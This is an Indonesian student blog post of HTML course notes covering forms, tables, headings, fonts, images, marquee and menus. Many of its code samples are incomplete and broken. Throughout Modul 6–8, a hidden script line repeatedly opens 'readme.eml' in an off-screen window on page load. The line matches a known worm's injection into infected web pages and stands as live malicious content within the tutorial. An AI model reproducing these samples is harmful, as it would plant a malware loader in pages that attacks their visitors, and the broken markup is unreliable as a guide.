Teknik Informatika

Minggu, 29 Mei 2016

Tugas Desain Web

Published : 19.06 Author : edil muhamad aras

Laporan Blog Desain Web

MODUL 2

Untuk laporan kali ini saya akan memperkenalkan sintak-sintak yang ada diweb.

Cara untuk membuat password

Fungsi dari <form> adalah mendefinisikan sebuah form HTML untuk input form.

Password field adalah kotak yang ketika anda menuliskan password disitu huruf akan diganti dengan simbol lingkaran untuk melindungi tulisan password yang diketik.

<form>

Password: <input type="password" name="pwd">

</form>

Radio buttom

Digunkan untuk memilih inputan hanya satu pilihan saja. Contohnya Jenis kelamin.

<form>

<input type="radio" name="sex" value="female">female

</form>

Drop Down list/combo box

Fungsi :

<html> adalah mendefinisikan root dari suatu dokumen html.

<body> adalah endefinisikan body/isi dokumen HTML, berfungsi untuk menentukan bagaimana isi suatu dokumen ditampilkan di web browsernya. Isi dokumen tersebut dapat berupa teks, gambar, animas, link dan seterusnya.

<select> adalah membuat daftar drop-down.

Fungsinya adalah untuk membuat menu pilihan pada tampilan web.

<html>

<body>

<option value="volvo">volvo</option>

</select>

</form>

</body>

</html>

Check box

Perbedaan dengan radio button adalah dapat mencentang / memilih lebih dari satu pilihan.

<form>

<input type="checkbox" name="vehicle" value="car">i have a car

</form>

Submit button

Fungsi <input type="submit"> mendefinisikan sebuah submit button.

Funsinya adalah untuk membuat tampilan username pada tampilan web.

Username: <input type="text" name="user">

</form>

Text area

Silahkan Tulis Komentar Anda

</textarea>

Text area hampir sama seperti text field namun bedanya adalah text area dapat terdiri dari beberapa line / baris dan kolom.

HTML Tables

Fungsi :

<table> adalah membuat tabel

<tr> adalah membuat baris di dalam sebuah tabel

<td> adalah mendefinisikan sel di dalam sebuah tabel

<th> adalah Mendefinisikan sel header di dalam sebuah tabel

Tabel didefinisikan dengan tag <table>. Tardiri dari tabel row / baris dan tag <tr>. Dan tabel kolom dengan tag <td>. Tabel row / baris dapat juga terdiri dari tabel headings dengan tag <th>.

<tr>

<td>smith</td>

</tr>

<tr>

<td>jackson</td>

</tr>

</table>

HTML table dengan attribute border dan width.

Penggunaan border pada gambar sintak yang diatas digunakan untuk memberikan garis disekitar tabel sedangkan style=”width 100%” menunjukan lebar tabel tersebut adalah 100% dari lebar pixel layar monitor yang digunakan saat membuka browser.

<tr>

<td>smith</td>

</tr>

<tr>

<td>jackson</td>

</tr>

</table>

HTML table dengan span row (menggabungkan beberapa baris)

Gunakan attribute rowspan=”banyak baris>” untuk menggabungkan beberapa baris dari tabel.

<tr>

<th colspan="2">Telephone</th>

</tr>

<tr>

<td> Bill Gates</td>

</tr>

</table>

HTML Table dengan span column (menggabungkan beberapa kolom)

Gunakan attribute colspan=”banyak kolom” untuk mengabungkan beberapa baris dari tabel.

<tr>

<th colspan="2">Telephone</th>

</tr>

<tr>

<td> Bill Gates</td>

</tr>

</table>

HTML Table dengan caption / judul

Guna tag caption / caption untuk membuat judul pada tabel tag <caption ..</caption> harus dimasukan setelah tag <table>.

<caption>Monthly savings</captions>

<tr>

<th>month</th>

<th>savings</th>

</tr>

<tr>

<td> january</td>

</tr>

<tr>

<td>February</td>

</tr>

</table>

HTML Table dengan background color

Penggunaan attribute background color dapat digunakan bilangan hexa atau dengan nama warna yang sudah umum seperti “red”,”yellow”,”green”,”light green”, dan lain-lain.

<tr>

<th>month</th>

<th>savings</th>

</tr>

<tr>

<td>January</td>

</tr>

</table>

Modul 3

Heading

Heading sangat diperlukan dalam suatu dokumen. Karena heading disini merupakan format tertentu dalam suatu paragraph dan bisa juga dikatakan sebagai judul dari suatu paragraf.

Komponen Heading dalam HTML dimulai dengan <H1>, <H2>, <H3>, <H4>, <H5>, dan <H6>. Jadi ukuran dari heading dapat diatur dengan menuliskan salah satu dari komponen tersebut. Jangan lupas upaya heading tidak merambah kedokumen lainnya diperlukan TAG penutup. Misal<H1>JUDUL</H1>.

Fungsi <h1> to <h6> digunakan untuk menunjukan awal dari suatu header / judul dari dukumen HTML tersebut.

<Html>

<Title>

Sonic production "production House"

</Title>

</Head>

<Body>

<H1>Company Profile</H1>

<H2>Video Sothing</H2>

<H3>Photo Digital</H3>

<H4>Percetakan</H4>

<H5>Rias Pengantin</H5>

<H6>Tansfer DVD//VCD</H6>

</Body>

</Html>

Break

Jika menulis dokumen yang panjang tentu diperlukan pemenggalan kalimat untuk mengefisiensikannya. Dalam dukumen HTML pun berlaku sama. Dalam program HTML komponen atau tag yang diperlukan untuk memenggal atau memotong kalimat yang panjang adalah break dituliskan dengan <br>.

Fungsi :

<title> adalah membuat judul untuk dokumen HTML.

<br> adalah memberi baris baru/pindah baris

<Html>

<Title>

Modul3 "Latihan HTML"

</Title>

</Head>

<Body>

<H2>Persyaratan untuk menguasai ASP atau ASP.Net</H2>

Untuk mempelajari ASP atau ASP.Net diperlukan latar belakang atau <br>

penguasaan HTML.. Karena tanpa menguasai HTML mustahil<br>

anda mampu mengusai ASP dengan baik dan benar. karena ASP<br>

juga dibundel dalam HTML.

</Body>

</Html>

.

Paragraf

Penulisan komponen paragraf dalam komponen HTML disingkat <p>

<Html>

<Title>

Modul3 "Latihan HTML"

</Title>

</Head>

<Body>

<H2>Persyaratan untuk menguasai ASP atau ASP.Net</H2>

Untuk mempelajari ASP atau ASP.Net diperlukan latar belakang atau <br>

penguasaan HTML.. Karena tanpa menguasai HTML mustahil<br>

anda mampu mengusai ASP dengan baik dan benar. karena ASP<br>

juga dibundel dalam HTML.

<p>

Setelah anda menguasai HTML anda juga dituntut mengerti IIS

<Br>

(Internet Information Service) IIs ini umumnya dibundel dalam<br>

WIndows 2000. Tetapi jika anda menggunakan Windows 95 atau <br

Windows 98 diperlukan komponen PWS (Personal Web Server)

</p>

</Body>

</Html>

Style font

dalam menulis style font harus diawali dengan <Nama_tag> dan ditutup dengan <Nama_tag>

Fungsi :

<B> adalah huruf tebal

<i> adalah huruf miring

<u> adalah huruf digaris bawahi (underline)

<strong> adalah mirip hurup tebal

<code> adalah huruf jenis courier

<em> mirip iitalic

<tt> tele type writer

<samp> adalah seperti code

<Html>

<Title>

Modul3 "Latihan HTML"

</Title>

</Head>

<Body>

<B>

Ini menggunakan Huruf Tebal</B>

<P>

<I>

Ini menggunakan Huruf miring</I>

<P>

<U>

Ini menggunakan huruf garis bawahi

</U>

<P>

Ini seperti huruf tebal

</Strong>

<P>

<Code>

Ini menyerupai huruf courier

</Code>

<P>

<EM>

Ini menyerupai huruf italic

</EM>

<P>

<TT>

Ini adalah teletype write

</TT>

<SAMP>

Ini menyerupai kode

</SAMP>

</Body>

</Html>

Elemen font

Elemen font berfungsi untuk meruba jenis, ukuran dan warna dari tampilan huruf. Elemen ini mempunyai attribute color untuk merubah warna huruf, face untuk merubah jenis huruf (jika lebih satu jenis huruf, harus dibatasi dengan koma). Dan size untuk merubah ukuran huruf (pixel).

<html>

<Title>SONIC PRODUCTION</title>

<Head><font color="blue"><font size=+5>GLOBAL WARMING</font></font></head><P>

<font size=+3><font color="red"><P>Surabaya</font></p></font><p>Perubahan iklim berpengaruh pada pemanasan secara global. Dan ini tentunya akan membuat kehidupan manusia akan menjadi sangat terancam. Bukan hanya kita saja yang turut merasakan pengaruh buruknya tapi anak cucu kita pun akan mengalami hal yang sama dengan kita. maka dari itulah dituntut kesadaran semua pihak dalam hal ini.

</P>

<html>

Mengnal bullet

ada 2 jenis bullet yaitu : unordered list <UL> yaitu membuat bullet saja dan ordered list <OL>, untuk membuat bullet nomor.

Untuk membuat list harus menggunakan <LI>

<Html>

<Head>

<Title>Datakom Lintas Buana</Title>

</Head>

<Body>

<H3>Datakom Lintas Buana</H3>

<B>

Seri Operasi System

</B>

<UL>

<LI>MIcrosoft Windows 2000 Profesional

<LI> Microsoft WIndows 2000 Server

<li>instalasidanKOnfigurasi Windows 2000

Server

<li>Melangkahdengan Windows Me

<li>Satu Hari Bersama Windows Xp

</UL>

<P>

<B>

Seri Microsoft Office

</B>

<OL>

<LI> Microsoft Word 2003

<LI> Microsoft Excel 2003

<LI> Microsoft Power Point 2003

<LI> Microsoft Access 2003

</OL>

</Body>

</html>

Modul 4

Tabel border

Border adalah yang akan mengelilingi data dalam tabel. Dengan menggunakan perintah <table border> tabel border bisa diatur ketebalannya.

Border 0 : digunakan apabila tidak menggunakan border
Border 1 : digunakan bila menggunakan nilai border standar
Border 2 : digunakan bila ukuran border tebal.

<Html>

<Head>

<Title>Modul 4</Title>

</Head>

<Body>

<tabel>

<tr>

<td>KolomPertama

<td>KolomKedua

<td>KolomKetiga

</tr>

<tr>

<td> SATU

<td> DUA

<td> TIGA

</tr>

</table border>

<tabel>

</body>

</html>

Mengatur tebal

Align = left untuk menempatkan tabel disebelah kiri

Alight = right untuk menempatkan tabel disebelah kanan

Alight = center untuk menempatkan tabel ditengah-tengah.

<Html>

<Head>

<Title>

MOdul 4

</Title>

</Head>

<Body>

<caption><div align = Center><font color="red"><B>DAFTAR

MAHASISWA UMBO</caption></font></B></div>

<table>

<TH>NO

<TH>NAMA

<TH>FAKULTAS

<TH><div align=right>JURUSAN</div>

<TH>ALAMAT

</TR>

<TR>

<TD>1

<TD>Pandu SetyaNugraha

<td>MIPA

<td>IlmuKOmputer

<td>KOmplek LIPI Cibinong

</tr>

<tr>

<td>2.

<td>Terra Surya KIP

<td>FKIP

<td>Biologi

<td>Sukabumi,Jampangkulon

</tr>

</table>

</body>

</html>

Warna

Untuk menatur warna dalam suatu dokumen atau program html kode yang digunakan Bgcolor (Background color). Penulisan warna bisa menggunakan heksa decimal, dan biasanya akan menyesuaikan dengan browsernya.

<Html>

<B>

<Title>MODUL 4</title>

<Head><font color="blue"><font size=+3>STOK BARANG DAGANG</font></font></head><P>

</B>

</center>

<td>No

<td>Nama

<td>TempatLahir

<td>TanggalLahir

<td>Alamat

</tr>

<td>1

<td>Tuntang

<td>Sukabumi

<td>6-6-1962

<td>Cibinong

</tr>

<td>2

<td>Ganjar PJ

<td>Jampangkulon

<td>1-1-1976

<td>Cibinong

</tr>

<td>3

<td>Luly

<td>Cibadak

<td>1-10-1978

<td>CibadakSukabumi

</tr>

<td>4

<td>Dwicahyono

<td>Cibaduyut

<td>9-9-1989

<td>Jakarta Selatan

</tr>

</Table>

</center>

</html>

Modul 5

“Gambar Dan Animasi”

Dalam membangun website selain menampilkan sintaks juga hurus menampilkan gambar, sehingga dokumen html lebih komunukatif dan tidak membosankan. Tidak hanya itu gambar yang ditampilkan pun bisa bermacam-macam tergantung kebutuhan. Bahkan agar lebih menarik gambar yang ditampilkan tersebut bisa dibuat bergerak sesuai dengan kebutuhan yang dinamakan animasi.

Saat ini banyak sekali program yang bisa digunakan untuk membuat atau mendesain gambar tersebut antara lain : Macromedia flash, Microsoft Phot Draw, MS-Paint dan masih banyak lagi.

Menampilkan gambar

Untuk menampilkan memasukan gambar kedalam dokumen html banyak yang bisa dilakukan, antara lain dengan memanfaatkan image dengan tanda <IMG>. Dan kemudian diikuti dengan SCR (Source) dengan nama gambar lengkap dengan akhirannya, seperti gambar.JPEG, gambar.BMP, gambar.GIF dan lain-lain. Image atau gambar yang akan ditampilkan sebaiknya menggunakan perintah TABLE agar penempatannya tidak berubah-ubah. Contoh pemakaian <IMG SRC=Nama_Gambar.GIF>

Format gambar yang bisa ditampilkan antara lain : JP, JPEG, GIF, PCX, dan lain-lain.

<Html>

<title>Modul 5</title>

<TR>

<TD>NO

<TD>NAMA

<TD>ALAMAT

<TD>GAMBAR

</TR>

<TR>

<TD Valign=TOP>01

<TD VALIGN=TOP>NANA

<TD VALIGN=TOP>MAGELANG

</TR>

<TR>

<TD Valign=Top>02

<TD Valign=Top>bumbum

<td Valign=Top>Sanden, Magelang

</tr>

</Table>

</Html>

Gambar yang dimasukan kedalam dokumen html bisa dikombinasikan dengan teks sehingga lebih menarik. Perintah yang digunakan VSpace (Vertikal space) dan HSpace (Horizontal space) agar teks dengan gambar tidak terlalu berdekatan.

VSpace dan HSpace umumnya menggunakan nilai dalam piksel.misalnya VSpace=20, VSpace=30,

HSpace=10 dan lain-lain.

<Html>

<H2><Font

size=+3>MenggunakanTeksdanGambar<BR

></H2>

<image src="pemandangan.JPG" Align=Left

Vspace=10><hspace=10><Font size=-1>

Dalam waktu dekat buku Microsoft Office

Xpakan terbit. Di

samping itu juga akan terbit buku Share Point

saya tulis.

Dalam waktu dekat buku Microsoft Office

Xpakan terbit. Di

samping itu juga akan terbit buku Share Point

Team Service yang

saya tulis. Dalam waktu dekat buku Microsoft

Office Xpakan terbit. Di

samping itu juga akan terbit buku Share Point

Team Service yang

saya tulis. Dalam waktu dekat buku Microsoft Office Xpakan terbit. Di

samping itu juga akan terbit buku Share Point Team Service yang

saya tulis. Dalam waktu dekat buku Microsoft Office Xpakan terbit. Di

Modul 6

Hyperlink Atau Tautan

Komponen sintak

Komponen ini sering juga disebut sebagaii komponen string. Sintak yang digunakan <Input Type=”T Name=Nama Size=20>

Input adalah kata kunci

Type adalah jenis atau tipe input

Name adalah nama

Variable size adalah jumlah karakter.

<html>

<form>

<tr>

<H3>MENGENAL KOMPONEN FORM</h3>

<BR>

</tr>

<tr>

<br>

<td>NAMA

</tr>

<tr>

<br>

<td>ALAMAT

</tr>

<tr>

<br>

<td>KETERANGAN

</tr>

<tr>

<br>

</form>

</html>

Radio button

Radio button adalah suatu tombol yang digunakan untuk mengambil salah satu pilihan dari banyak pilihan tersediah.

Cara penggunaan perintah adalah sebagai berikut :

Input adalah kata kunci atau keyboard

Type adalah tipe input dalam hal ini radio

Button Name adalah definisi veriabel

Nama adalah nama variable

Value adalah isi dari variable bila dipilih

<html>

<h3>RADIO BUTTON</h3>

<p> Agama atau kepercayaan terhadap Tuhan Yang Maha Esa

<br>

<input type="radio" name="Agama"

Value="I">Islam<br><input type="radio" name="Agama"

value="K">Kristen<br><input type="radio" name="Agama"

value="H">Hindu<br><input type="radio" name="Agama"

value="B">Budha<br><input type="radio" name="Agama"

value="P">Protestan<br>

</html>

Select dan option

Select adalah suatu perintah yang digunakan untuk memilih salah satu jawaban dari daftar pilihan dalam bentuk dropdown.

Select digunakan untuk mengidentifikasikan pilihan sedangkan untuk membuat dan menampilkan pilihan adalah dengan perintah option.

<html>

<h3>Menggunakan Select and option</h3>

<h4>Buku ini diterbitkan oleh </h4>

<br>

<Option>Fajar Corporation Jakarta

<Option Selected>Datakom Lintas Buana Jakarta

<Option>Kucar Kacir Bogor

<Option>Angin Ribut Sukabumi

<Option>Maju Mundur Cianjur

<Option>Maju Trus Bandung

<Option>Mundur Bae Cianjur

</select>

</html>

Scroll up dan down

<html>

<h3>Menggunakan Select, option Select dan

Size=n</h3>

Buku ini diterbitkan oleh

<p>

<Option>Fajar Corporation Jakarta

<Option>Hayat Raharja

<Option>Luly lala

<Option>Mahardika

<Option>Salam Kangen

<Option Selected>Datakom Lintas Buana Jakarta

<Option>Kucar Kacir Bogor

<Option>Angin Ribut Sukabumi

<Option>Maju Mundur Cianjur

<Option>Maju Trus Bandung

<Option>Mundur Bae Cianjur

</select>

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>

Button

Dalam html dikenal 2 jenis button yaitu submit dan reset

Tombol submit digunakan untuk mengaktifkan action ketika sudah berhadapan dengan ASP atau CGI yang ada pada server.

Tombol reset digunkaann untuk membersihkan data yang ada dalam form yang sudah dimasukan.

<html>

<h3>Menggunakan Tombol Submid dan

Reset</h3>

NAMA

<br>

ALAMAT

<br>

KOTA

<p>

<input type=submit name=Button1

Value="Kirim">

</form>

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script>

</html>

Menggunakan button

Pilihan ini digunakan apabila mendesain form yang melibatkan lebih dari 2 tombol. Jangan lupa bahwa tombol-tombol yang saya jelaskan ini hanya akan aktif jika disimpan deserver IIS telah distall.

Ada beberapa tombol yang bisa dibuat dengan menggunakan perintah Type=Button. Type ini umumnya digunakan bersamaan dengan program JavaScript atau VBScript dengan menggunakan perintah Event.

<html>

<h3>Menggunakan Type= BUtton</h3>

<form method=post action="http://localhost/E:/SMAN3/WEB/tampil.ASP"> NAMA

ALAMAT

KOTA

</form>

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script>

</html>

Membuat password

Dalam HTML pembuatan password tidak terlalu sulit karena tetap menggunakan Button dan dikombinasikan dengan perintah Value.

<html>

<h3>Ketikkan Password</h3>

<form method=post action="http://localhost/E:/SMAN3/WEB/tampil.ASP"> Username

Password

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script>

</html>

Modul 7

Background dan Marque

Background dan image

<html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>

Background menggunakan warna

<html>

<body text="white"bgcolor="purple"><H1>SELAMAT DATANG</h1></html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script>

</html>

Marquee

Adalah untuk menampilkan teks berjalan

Arah gerakan

Untuk mengatur arah gerakan pada marquee, teman-teman tinggal menambahkan kode leaf,right,up dan down sintaknya seperti ini :

<Marquee direction="left">Teks bergerak dari kiri ke kiri</Marquee>

<Marquee direction="right">Teks bergerak dari kiri ke kanan</Marquee>

<Marquee direction="up">Teks bergerak dari kiri ke atas</Marquee>

<Marquee direction="down">Teks bergerak dari kiri ke bawah</Marquee>

Perilaku gerakan

Untuk mengatur perilaku gerakan pada marquee, teman-teman tinggal menambahkan kode behavior=””.

Ada 3 perilaku gerakan marquee yaitu : scroll, alternate, slide.

<Marquee behavior="scroll">Teks bergerak dari kanan ke kiri</Marquee>

<Marquee behavior="alternate">Teks bergerak dari kanan ke kiri</Marquee>

<Marquee behavior="slide">Teks bergerak dari kanan ke kiri</Marquee>

Kecepatan gerakan

Kecepatan gerakan teks pada marquee dinyatakan dalam piksel.

Angka-angka yang didefinisikan atau ditetapan dalam kode ini, jelas akan mempengaruhi kecepatan gerakan teks. Semakin besar angkanya,semakin cepat pula sgerakan teks, Begitupun sebaliknya.

<Marquee scrollamount="2">Keceptan gerak teks dengan scrollamout="2"</Marquee>

<Marquee scrollamount="4">Keceptan gerak teks dengan scrollamout="4"</Marquee>

Jeda setiap gerakan

Untuk mangatur jeda antara setiap gerakan pada marquee, tinggal menambahkan kode scrolldelay=””.

Semakin tinggi nilainya maka gerakan teks akan semaakin lambat.

Nilai terendah adalah 60. Apabila memilih nilai dibawah nilai 60, maka nilai tersebut akan diabaikan dan didefinisikan sebagai nilai 60, kecuali jika menambahkan kode truespeed=”” dan diatur pada pasisi “true” (truespeed=”true”).

<html>

<Marquee scrolldelay="60">scrolldelay="60"</Marquee><Marquee scrolldelay="100">scrolldelay="100"</Marquee>

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>

Lebar gerakan

Lebar default adalah lebar halaman blog tempat anda meletakan tulisan.

Untuk mengatur lebar gerakan atau lintasan pada marquee, anda tinggal menambahkan kode width=””.

Misalnya kalian ingin menyesuaikan lebar lintasan marquee dengan lebar diblog t, dimana lebar diblog kalian adalah 120px, maka kode marquee untuk lebar tersebut adalah :

<Marquee width="150">Teks bergerak selebar 150px</Marquee>

Warna Latar belakang

Warna latar belakang default (standar) dari teks adalah warna latar belakang dimana teks diletakkan. Untuk mengatur atau mengubah warna latar belakang pada Marquee, kalian tinggal menambahkan kode bgcolor="".

Kalau kalian ingin mengubah warna latar belakang dengan warna biru, maka sintaknya adalah :

<Marquee bgcolor="red">Latar belakang teks berwarna red</Marquee>

Kita juga bisa menggunakan sintak warna dengan menggunakan angka contohnya :

<Marquee bgcolor="#ff0000">Latar belakang teks berwarna red</Marquee>

Modul 8

Membuat Menu

Membuat Menu sederhana

<html>

<H3>

<font color="red">DATAKOM LINTAS

BUANA</H3>

<p>

<a href=pilih1.html>Tentang Datakom<br></a>

<a href=pilih2.html>Redaksi Datakom<br></a>

<a href=pilih3.html>Buku Terbaru<br></a>

<a href=pilih4.html>Sudah Terbit<br></a>

<a href=pilih5.html>Divisi Marketing<br></a>

<a href=pilih6.html>Divisi Keuangan<br></a>

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script>

</html>

Membuat garis horizontal

untuk memperindah tampilan dapat ditambahkan garis horizontal sebagai pemisah antara judul dengan teks dibawahnya.

<html>

<H3>

DATAKOM LINTAS BUANA</H3>

<p>

<HR>

<p>

<a href=menu1.html>Tentang Datakom<br></a>

<a href=menu2.html>Redaksi Datakom<br></a>

<a href=menu3.html>Buku Terbaru<br></a>

<a href=menu4.html>Sudah Terbit<br></a>

<a href=menu5.html>Divisi Marketing<br></a>

<a href=menu6.html>Divisi Keuangan<br></a>

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script>

</html>

<html>

<H1>

<marquee>SELAMAT

DATANG</marquee></h1>

<HR>

<h1>

DATAKOM LINTAS JAKARTA</h1>

<HR>

Datakom LIntas Buana adalah Penerbit Buku

Komputer Bermutu.

<br>

Buku yang diterbitkan oleh Datakom LIntas

Buana

sebagian besar adalah BestSeller

<br>

untuk itu perlu anda miliki untuk menambah wawasan anda, dan <br>

tentu saja, untuk menambah koleksi perpustakaan Anda<br>

Alamat :<p>

Datakom Lintas Buana<br> Jalan Pemuda IV No. 20<br> Jakarta 13220<br> Telp.021-4765666<br><HR>

<p>

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script>

</html>

Membuat menu frame

<html>

</html>

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>

Teknik Informatika

Minggu, 29 Mei 2016

Tugas Desain Web

Labels

About Me

Followers

Popular Posts

Blogger templates

Labels

Labels

Archive

Blogger news

Blogroll

About

Labels